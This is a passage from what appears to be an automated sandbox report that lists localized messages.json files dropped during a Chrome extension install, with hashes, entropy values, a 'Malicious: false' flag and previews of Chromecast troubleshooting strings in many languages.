Preview:	{.. "1018984561488520517": {.. "message": "...".. },.. "1213957982723875920": {.. "message": ".. . .. .. ..... .. . .... ... .....?".. },.. "128276876460319075": {.. "message": ".. ..".. },.. "1428448869078126731": {.. "message": "... ..".. },.. "1522140683318860351": {.. "message": ".... ...... .. ... ....".. },.. "1550904064710828958": {.. "message": "...".. },.. "1636686747687494376": {.. "message": "...".. },.. "1802762746589457177": {.. "message": "..".. },.. "1850397500312020388": {.. "message": "$START_LINK$Google Home .$END_LINK$. Chromecast. .....? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\lt\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15802
Entropy (8bit):	5.354550839818046
Encrypted:	false
SSDEEP:	192:lGxSprfkiRR+2zJckS1khrnPI85+80p3DWReV6c8TEKdl:lG4rlq0OkSmhrwbpIeV6uml
MD5:	93BBBE82F024FBCB7FB18E203F253429
SHA1:	83F4D80F64FA2ADCE6C515C5F663BD38A76C51DB
SHA-256:	E7A8570922CCC4F2CA3721C4E61F426158C4E7BC90274FBC8BE4040FF8B6CA9B
SHA-512:	B7E7878106B466CE95069141DF1DE387E847348B62E9C4D548006452F3E164B3AD842E9673A56DC011A5ECC3346B5863E2034EE477A9D1F3E0ABD76B2D0F640A
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Stringa".. },.. "1213957982723875920": {.. "message": "Kuris i. toliau pateikt. teigini. geriausiai apib.dina j.s. tinkl.?".. },.. "128276876460319075": {.. "message": ".renginio suradimas".. },.. "1428448869078126731": {.. "message": "Vaizdo .ra.o sklandumas".. },.. "1522140683318860351": {.. "message": ".vyko ry.io klaida. Bandykite dar kart..".. },.. "1550904064710828958": {.. "message": "Leid.iama skland.iai".. },.. "1636686747687494376": {.. "message": "Puiki".. },.. "1802762746589457177": {.. "message": "Garsumas".. },.. "1850397500312020388": {.. "message": "Ar .Chromecast. rodomas $START_LINK$programoje .Google Home.$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\lv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15891
Entropy (8bit):	5.36794040601742
Encrypted:	false
SSDEEP:	192:y18prUkm15wkLDG2raqhnZDuvyI762V6c8TEKdl:RrAL7rte62V6uml
MD5:	388590CE5E144AE5467FD6585073BD11
SHA1:	61228673A400A98D5834389C06127589F19D3A30
SHA-256:	05CA14196CA5D90B228C0F03684E03EBE403A3E7B513AE0A059244AE12B51164
SHA-512:	BF83AC90BC56CEB1CA12DCB47BCE542FB8CFE0BC14E34DE4FE1A84F7CDB4B54E36C125CEA7EE06EA6244F7795A0957A8A20DB30CA4C60FC6E96EF2A735448521
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".Iesald.ts. att.ls".. },.. "1213957982723875920": {.. "message": "Kur. no t.l.k min.tajiem apgalvojumiem vislab.k raksturo j.su t.klu?".. },.. "128276876460319075": {.. "message": "Ier.ces atra.ana".. },.. "1428448869078126731": {.. "message": "Video vienm.r.ba".. },.. "1522140683318860351": {.. "message": "Neizdev.s izveidot savienojumu. L.dzu, m..iniet v.lreiz.".. },.. "1550904064710828958": {.. "message": "Vienm.r.gs att.ls".. },.. "1636686747687494376": {.. "message": "Nevainojama".. },.. "1802762746589457177": {.. "message": "Ska.ums".. },.. "1850397500312020388": {.. "message": "Vai j.su Chromecast ier.ce ir redzama $START_LINK$lietotn. Google.Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ml\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	20986
Entropy (8bit):	5.347122984404251
Encrypted:	false
SSDEEP:	384:6pQrdbhWHZ3wOn1HbxytQdroExFVRnTPV6uml:X5hUtz6uml
MD5:	2AF93901DE80CA49DA869188BCDA9495
SHA1:	E60DF4F2FB12BD3F1CA869DAD9F6BDE0C17CEB11
SHA-256:	329E80AEE1212F634E180DEF7E16D6E38D9C9FDA9AC9DB1D99B8AE1626EF304E
SHA-512:	DD1711B017DC65E1272972A1BEBD7A1B1769E1F22B37B20582573392CD432725D19DCE134145B3C031428BC0B5948B02A9AA93C8A651BEAA189B686B7BC2AD46
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "...........".. },.. "1213957982723875920": {.. "message": "................ ..... ....... ...... ....... ......... ............. .................?".. },.. "128276876460319075": {.. "message": "...... .........".. },.. "1428448869078126731": {.. "message": "...... ...............".. },.. "1522140683318860351": {.. "message": "...... .............. ....... ...........".. },.. "1550904064710828958": {.. "message": ".........".. },.. "1636686747687494376": {.. "message": "........".. },.. "1802762746589457177": {.. "message"

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\mr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	19628
Entropy (8bit):	5.311054092888986
Encrypted:	false
SSDEEP:	192:PbrpprGy+RmIosTmidpzlF1Akk03LQYOkQrjNjP8hZYiEQ5z+excV6c8TEKdl:PbfrGUIos7dpzxbP7KrjNjaBEYuV6uml
MD5:	659F5B4ACA112D3ECBB6EC1613DDE824
SHA1:	5DEE35FCD260554999F8DDEC489FBA9F81FA8EEE
SHA-256:	C8B765E7A07578BC078A952E151E3B866506959E15E79E9E5E1DBB98F9C4008F
SHA-512:	F74B36C1B6160E444F4969D13788A9C60637BDC11DC5065B2518B668E8D638384E00557ACDC88B3EA225D9231B6BED4B227BFB2E12C92773073B256F62ADDE63
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "......".. },.. "1213957982723875920": {.. "message": "......... ..... ...... ......... ............ ..... ....?".. },.. "128276876460319075": {.. "message": "........ ...".. },.. "1428448869078126731": {.. "message": "....... .......".. },.. "1522140683318860351": {.. "message": "....... ....... ..... ..... ...... ....... ....".. },.. "1550904064710828958": {.. "message": ".... ..... .....".. },.. "1636686747687494376": {.. "message": "....".. },.. "1802762746589457177": {.. "message": ".........".. },.. "1850397500312020388": {.. "message": "...... $START_LINK$ Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ms\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15330
Entropy (8bit):	5.193447909498091
Encrypted:	false
SSDEEP:	192:rCprBbx+Fkc4kYPr/pEt4EpXlIoV6c8TEKdl:CrYjer/mOE4oV6uml
MD5:	09D75141E0D80FBD3E9E92CE843DA986
SHA1:	B24EAB4B1242C31B69514D77BC1DB36A3F648F40
SHA-256:	8F1DBDEFD910AD88BEEC7956619CDB34391D6E69254C3A7497E8F87134AE8B5C
SHA-512:	935C69481F1555787FCB9A5490B3188B348284B600359239742A7D802ADD5CC8A30CC1F0942D52E620DFB388787FCD69B548BBAC590110245DF5763367A2DD5A
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Tidak bergerak".. },.. "1213957982723875920": {.. "message": "Antara yang berikut, manakah yang terbaik menggambarkan rangkaian anda?".. },.. "128276876460319075": {.. "message": "Penemuan Peranti".. },.. "1428448869078126731": {.. "message": "Kelancaran Video".. },.. "1522140683318860351": {.. "message": "Sambungan gagal. Sila cuba lagi.".. },.. "1550904064710828958": {.. "message": "Lancar".. },.. "1636686747687494376": {.. "message": "Sempurna".. },.. "1802762746589457177": {.. "message": "Kelantangan".. },.. "1850397500312020388": {.. "message": "Adakah anda dapat melihat Chromecast anda dalam $START_LINK$ apl Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content":

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\nb\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15155
Entropy (8bit):	5.2408655429422515
Encrypted:	false
SSDEEP:	192:5Pvl9prfckKJ+3kEUroBsL78Z4XyfhV6c8TEKdl:9vhrkDJ+UEUroE78OCJV6uml
MD5:	ED99169537909291BCC1ED1EA7BB63F0
SHA1:	5F72D51B6DBE8C622EF33D2B2AEBD7E9E20DAFB3
SHA-256:	65B6598225ADA1E14EE9CB76CA863708E8F9EE0724B4EDC8F9508532BD631BAB
SHA-512:	452704BFC109EEBDE7C9D83CFC9EADA7471989CA7D30F5C8754B6C2B026100A87C8D9ED49A09E398CEBA8B837829E2D9C6772EEEAF1AFA506F35BDDF25C20C23
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Fryser".. },.. "1213957982723875920": {.. "message": "Hvilket av f.lgende eksempler beskriver nettverket ditt best?".. },.. "128276876460319075": {.. "message": "Enhetsgjenkjenning".. },.. "1428448869078126731": {.. "message": "Videojevnhet".. },.. "1522140683318860351": {.. "message": "Tilkoblingen mislyktes. Pr.v p. nytt.".. },.. "1550904064710828958": {.. "message": "Jevn".. },.. "1636686747687494376": {.. "message": "Perfekt".. },.. "1802762746589457177": {.. "message": "Volum".. },.. "1850397500312020388": {.. "message": "Ser du Chromecasten din i $START_LINK$Google Home-appen$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.. "START_SPAN":

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\nl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15327
Entropy (8bit):	5.221212691380602
Encrypted:	false
SSDEEP:	192:0Yiepr1oh/Kd1sko8MrIpL72Izq8pXL2vVRmdKV6c8TEKdl:04r60Xo8MrIpLpRXL0G0V6uml
MD5:	E9236F0B36764D22EEC86B717602241E
SHA1:	DE82B804B18933907095DEF3F2EF164C1BB5F9B6
SHA-256:	300F4F7C45EBE39EAAF40776C28D0A399A710699AAB58E9A8D43A6FD2DD00376
SHA-512:	BB8A81D5D1C3FB3CA05149137852CAC213DEECB0437DA85472D5C03DAEFFE28D73007D7921740E56FE8B79544F529670600D47B86C4F27BF45C090B4D55F23F7
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Loopt vast".. },.. "1213957982723875920": {.. "message": "Welke beschrijving past het beste bij je netwerk?".. },.. "128276876460319075": {.. "message": "Apparaatdetectie".. },.. "1428448869078126731": {.. "message": "Vloeiendheid van de video".. },.. "1522140683318860351": {.. "message": "Kan geen verbinding maken. Probeer het opnieuw.".. },.. "1550904064710828958": {.. "message": "Vloeiend".. },.. "1636686747687494376": {.. "message": "Perfect".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": "Zie je je Chromecast in de $START_LINK$Google Home app$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\pl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15418
Entropy (8bit):	5.346020722930065
Encrypted:	false
SSDEEP:	192:PBUprktnFwP5GkzF0r2Q3SdIucDGGmPlTV6c8TEKdl:ur2CDur2kT9aGydV6uml
MD5:	8254020C39A5F6C1716639CC530BB0D6
SHA1:	A97A70427581ADA902CA73C898825F7B4B4FAC8F
SHA-256:	2F4E4FC6AEB4A8E7F0E0DCE220D66E763F4EBF1FA79985834D636C6692FEA3E8
SHA-512:	9A2CD0F061A943CE04789FF259ECE5B3CCA11EBB6C1DF16C703F70394A5F89415E8EFB79CFB4646FC07FD261170A74602644FFF02ABD38548895CDF7DAB68EB6
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Zatrzymuje si.".. },.. "1213957982723875920": {.. "message": "Kt.ra z tych opcji najlepiej opisuje Twoj. sie.?".. },.. "128276876460319075": {.. "message": "Wykrywanie urz.dze.".. },.. "1428448869078126731": {.. "message": "P.ynno.. obrazu".. },.. "1522140683318860351": {.. "message": "Nie uda.o si. nawi.za. po..czenia. Spr.buj ponownie.".. },.. "1550904064710828958": {.. "message": "P.ynna".. },.. "1636686747687494376": {.. "message": "Idealna".. },.. "1802762746589457177": {.. "message": "G.o.no..".. },.. "1850397500312020388": {.. "message": "Czy Chromecasta wida. w.$START_LINK$aplikacji Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\pt\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15475
Entropy (8bit):	5.239856689212255
Encrypted:	false
SSDEEP:	192:L9PpriI0RYHf8kfrvvI/99T+BEsV6c8TEKdl:LrkYPfrgsV6uml
MD5:	FABD5D64267F0E6D7BE6983AB8704F8C
SHA1:	D4DAAD0FF5C461C51E6C1FD22B86AFC5B13E123F
SHA-256:	D82DCA262FF005668B252B478DEDAAC4A5C1E417AF9DE57C22F169A6680183AE
SHA-512:	AD8B2129DCB4F232AEDD7A2B90AF2EFA43497F9118C27AB843D279F7B0EDF70AF95251B46C8098AA831FEC0B2AF6AB0308D3DCFD9AE87BEA8AD9E0D1032E0F8B
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Congela".. },.. "1213957982723875920": {.. "message": "Qual das seguintes alternativas melhor descreve sua rede?".. },.. "128276876460319075": {.. "message": "Detec..o de dispositivos".. },.. "1428448869078126731": {.. "message": "Suavidade da reprodu..o do v.deo".. },.. "1522140683318860351": {.. "message": "Falha na conex.o. Tente novamente.".. },.. "1550904064710828958": {.. "message": "Suave".. },.. "1636686747687494376": {.. "message": "Perfeita".. },.. "1802762746589457177": {.. "message": "Volume".. },.. "1850397500312020388": {.. "message": ". poss.vel encontrar seu Chromecast no $START_LINK$app Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ro\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15655
Entropy (8bit):	5.288239072087021
Encrypted:	false
SSDEEP:	192:rpzpr34BALdvonekYFJr2RlYh7YU95cep3AnjYCV6c8TEKdl:HrIqLdv0VYFJrT95c8VCV6uml
MD5:	75E16A8FB75A9A168CFF86388F190C99
SHA1:	C27CE4C1DB3DF2D232925C73DC9AC1FA24DAD396
SHA-256:	9C4716FF42A730F1E7725F0D9E703F311E79FDA31F85B4BB0B8863FC3C27AB9D
SHA-512:	9E0BF56560B1D73F9706FF6AA2D5628CBE58EFCE197899A7EE686B2395D0FA2F9927538DD9B7B152CE2DED4708A210DA3DD6F5350E62AF853E809782997B1922
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Redare cu bloc.ri".. },.. "1213957982723875920": {.. "message": "Care dintre urm.toarele descrie cel mai bine re.eaua ta?".. },.. "128276876460319075": {.. "message": "Descoperirea dispozitivelor".. },.. "1428448869078126731": {.. "message": "Calitatea red.rii videoclipului".. },.. "1522140683318860351": {.. "message": "Conexiunea nu s-a stabilit. .ncerca.i din nou.".. },.. "1550904064710828958": {.. "message": "Redare lin.".. },.. "1636686747687494376": {.. "message": "Redare perfect.".. },.. "1802762746589457177": {.. "message": "Volum".. },.. "1850397500312020388": {.. "message": "Chromecastul dvs. apare .n $START_LINK$ aplica.ia Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ru\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17686
Entropy (8bit):	5.471928545648783
Encrypted:	false
SSDEEP:	192:Pu6PQpr19XtZkmVpFQkeVBSr/7Nq5k8TyIeBcrvV6c8TEKdl:ir7Q+LASrWk8CirvV6uml
MD5:	8EF94823972EA8D2FC9BB7EC09AB1846
SHA1:	4171DC9CE9D82FDA5A280517A1FE58C907D75CE3
SHA-256:	1009DB9FFA64E411B31E0780EBA43B9C9F8B05B5AC8CCA9A38514650261ABB0A
SHA-512:	83CEC6CF43F4A5A998B987DA6B6F236B36078C560F1CD79366AEBF2950ECD881F0B3ECC1C0769D911381B4A1D5901121E3620CA1AC2401BDE12642BE64EFD67A
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".........".. },.. "1213957982723875920": {.. "message": "..... .. ......... .... ........ ............. ..... ....?".. },.. "128276876460319075": {.. "message": "........ . ............ .........".. },.. "1428448869078126731": {.. "message": "............... .....".. },.. "1522140683318860351": {.. "message": ".. ....... .......... ........... ......... ........".. },.. "1550904064710828958": {.. "message": "....... ...............".. },.. "1636686747687494376": {.. "message": "........".. },.. "1802762746589457177": {.. "message": ".........".. },.. "1850397500312020388": {.. "message": ".. ...... .... .......... Chromecast . $START_LINK$........

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\sk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15740
Entropy (8bit):	5.409596551150113
Encrypted:	false
SSDEEP:	192:PIwprzrAXVZdrkF9PMZq6rTxnfKVSk7bVV6c8TEKdl:jrojd4F94q6rRsdVV6uml
MD5:	C314FAC15AFF6A2EE9C732C64AB5A66D
SHA1:	D51F3362B5FDD2F3756DE42D7D6227DC818C6344
SHA-256:	8EE2A25A09D6D0F89063FAA34BA2BC4DB505DD31FE6D5064C5D6E1E153721484
SHA-512:	C0387992BFD6D5EA7781A6A8112DDAF9759A3FCE0B0D954F024B4368EBAE132EB5FB6D59DE69F7C015E049339F6A170F1B41236E222D09FF41020F912E9DCD3C
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Zam.za".. },.. "1213957982723875920": {.. "message": "Ktor. z nasleduj.cich skuto.nost. najlep.ie popisuj. va.u sie.?".. },.. "128276876460319075": {.. "message": "Vyh.ad.vanie zariaden.".. },.. "1428448869078126731": {.. "message": "Plynulos. videa".. },.. "1522140683318860351": {.. "message": "Pripojenie zlyhalo. Sk.ste to znova.".. },.. "1550904064710828958": {.. "message": "Plynul.".. },.. "1636686747687494376": {.. "message": "V.born.".. },.. "1802762746589457177": {.. "message": "Hlasitos.".. },.. "1850397500312020388": {.. "message": "Vid.te svoj Chromecast v.$START_LINK$aplik.cii Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\sl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15628
Entropy (8bit):	5.292871661441512
Encrypted:	false
SSDEEP:	192:Ppp0prwFOhNkcUw4kjkNOD7r31RdeYqakV6c8TEKdl:0rXjYwy4Xr34AkV6uml
MD5:	F60AB4E9A79FD6F32909AFAC226446B3
SHA1:	07C9E383D4488BEBE316CA86966FC728F55A2E32
SHA-256:	CDE581E6E7CF0136B003B45549E3BBEE7B67B74ADD786A8D5607BFDAD1DE7B87
SHA-512:	F6A7673A8EFDB7FF74D7B83DD4BCB3683031DB7FBFE6654F6311CBA53EC42F3E45CE2B42A6E385F868271BBDD348272ACF9CE304E2DB52A10B36D24C7B03114F
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Zamrzne".. },.. "1213957982723875920": {.. "message": "Kaj od tega najbolje opi.e va.e omre.je?".. },.. "128276876460319075": {.. "message": "Odkrivanje naprav".. },.. "1428448869078126731": {.. "message": "Teko.e predvajanje videoposnetka".. },.. "1522140683318860351": {.. "message": "Vzpostavitev povezave ni uspela. Poskusite znova.".. },.. "1550904064710828958": {.. "message": "Teko.e".. },.. "1636686747687494376": {.. "message": "Odli.no".. },.. "1802762746589457177": {.. "message": "Glasnost".. },.. "1850397500312020388": {.. "message": "Ali je Chromecast viden v $START_LINK$aplikaciji Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\sr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17769
Entropy (8bit):	5.433657867664831
Encrypted:	false
SSDEEP:	192:AtUpr9riVEviVutkeV74ErILfWloyWR5Roxj2V6c8TEKdl:AGr1pvtuWDrS9Sj2V6uml
MD5:	4E233461D805CA7E54B0B394FFF42CAB
SHA1:	77F30833FC73A4C02C652C9E5A6EAFE9C3988A30
SHA-256:	E1E1C64213EBF2CFEB7BA83E51B697CEA449B3A8B279B1024B859228DE869879
SHA-512:	7288B11E9F46CF8138E0F8305E5E43CCCCCAD75F2D37EB2515C6BD54064FDC511A5872F0A940FA44A0B1B2355D2E0AED12A0D53267AC501B4E5CB6DDE43B000D
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "......... ..".. },.. "1213957982723875920": {.. "message": ".... .. ........ ...... ....... ....... .....?".. },.. "128276876460319075": {.. "message": "......... .......".. },.. "1428448869078126731": {.. "message": "........ ............ ..... ......".. },.. "1522140683318860351": {.. "message": ".......... .... ....... ........ .......".. },.. "1550904064710828958": {.. "message": "... .......".. },.. "1636686747687494376": {.. "message": ".......".. },.. "1802762746589457177": {.. "message": "...... .....".. },.. "1850397500312020388": {.. "message": "...... .. .. ...... Chromecast . $START_LINK$.......... Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\sv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15135
Entropy (8bit):	5.258962752997426
Encrypted:	false
SSDEEP:	192:LY5pr2y3Lm3kONgMr6nxJNuyF5JTpg2NOV6c8TEKdl:Yr5DMrAfpOV6uml
MD5:	897DAE6B0CF0FDE42648F0B47CB26E06
SHA1:	E1F5F5F65AF34FF9484AB2B01E571EAF19BA23D0
SHA-256:	52656C24F6F6D0F3B3FC01E9504C4D5CEB85624F1B22E974CA675DD0E94EB82D
SHA-512:	399DEACFE61F4AF9B24AAA0357D30149CC49DA7825295933D3AE006714B5DE7AC5FCB9EC5340B0E3AB4ABF25641032BBBB5B7D578CD204F4EDEAFE6E08C55663
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Fastnar tillf.lligt".. },.. "1213957982723875920": {.. "message": "Vilket av f.ljande beskriver ditt n.tverk b.st?".. },.. "128276876460319075": {.. "message": "Enhetsidentifiering".. },.. "1428448869078126731": {.. "message": "J.mn videouppspelning".. },.. "1522140683318860351": {.. "message": "Det gick inte att ansluta. F.rs.k igen.".. },.. "1550904064710828958": {.. "message": "Flyter p.".. },.. "1636686747687494376": {.. "message": "Perfekt".. },.. "1802762746589457177": {.. "message": "Volym".. },.. "1850397500312020388": {.. "message": "Visas din Chromecast i $START_LINK$ Google Home-appen$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\sw\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15156
Entropy (8bit):	5.216902945207334
Encrypted:	false
SSDEEP:	192:6GprWbq4takN4kbvrwJAV5HeY9NVUpnV6c8TEKdl:nrol7rRkpnV6uml
MD5:	EC233129047C1202D87DC140F7BA266D
SHA1:	537E4C887428081365D028F32C53E3C92F29AAA6
SHA-256:	28EDBC5C4858217811D45CAA215710E452C8926E4DE99F810001AD664D08BE0D
SHA-512:	2E3F9BA1EA9EEF921E76B46B5EF2404B3B77B61F18CF67CC78C23C62202227F678A3DBE9C730E42A310800914DC53F25E8B2FBF461839DE33D3501B0BCB4EC8D
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Inasita kucheza".. },.. "1213957982723875920": {.. "message": "Ni gani kati ya zifuatazo inaelezea mtandao wako vizuri?".. },.. "128276876460319075": {.. "message": "Kupata Kifaa".. },.. "1428448869078126731": {.. "message": "Ulaini wa Kutiririsha Video".. },.. "1522140683318860351": {.. "message": "Imeshindwa kuunganisha. Tafadhali jaribu tena.".. },.. "1550904064710828958": {.. "message": "Laini".. },.. "1636686747687494376": {.. "message": "Bora".. },.. "1802762746589457177": {.. "message": "Sauti".. },.. "1850397500312020388": {.. "message": "Je, unaweza kuona Chromecast yako katika $START_LINK$ programu ya Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ta\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	20531
Entropy (8bit):	5.2537196877590056
Encrypted:	false
SSDEEP:	192:I0N4prlczmbWIO0KISBZdMx4kLQ7rgEsZatRoFkJL+KJtjV6c8TEKdl:0r/TUrRVjV6uml
MD5:	C50C5D2EDFC79DBDCBD5A58A027A3231
SHA1:	14314D760A18C39F06CD072CF5843832AFB86689
SHA-256:	EEB0E89D5AD92B80FF08F88533A111DB3416D7C3860C64227D1CC8B7C2B58298
SHA-512:	A241084C44260C239CB8E6736AB7F7D1988142DDA6CAAD9F907FB42970BE56EC8DA6956BFBE97F926C6EFA32B750F1F57815980494BC31D27DF609C04421AD42
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "....... .........".. },.. "1213957982723875920": {.. "message": "................ ... ...... .............. ...... ........ ...........?".. },.. "128276876460319075": {.. "message": "...... .............".. },.. "1428448869078126731": {.. "message": ".......... ..... .....".. },.. "1522140683318860351": {.. "message": "...... ............ ........ .........".. },.. "1550904064710828958": {.. "message": "..... ......".. },.. "1636686747687494376": {.. "message": "........".. },.. "1802762746589457177": {.. "message": "......."

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\te\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	20495
Entropy (8bit):	5.301590673598541
Encrypted:	false
SSDEEP:	384:hcFQcIrxhljbwSb4V6Icdbf1crfrCk0ODzB+relGZqsItV6uml:KcNbw4b2reSob26uml
MD5:	F740F25488BE253FCF5355D5A7022CEE
SHA1:	203A8DF19BA5A602A43DE18E99A6615D950C450E
SHA-256:	5B9C96CB5D62510836B321EB9CEEF23865BB9D4DC4DE7716E90A858E00701FDF
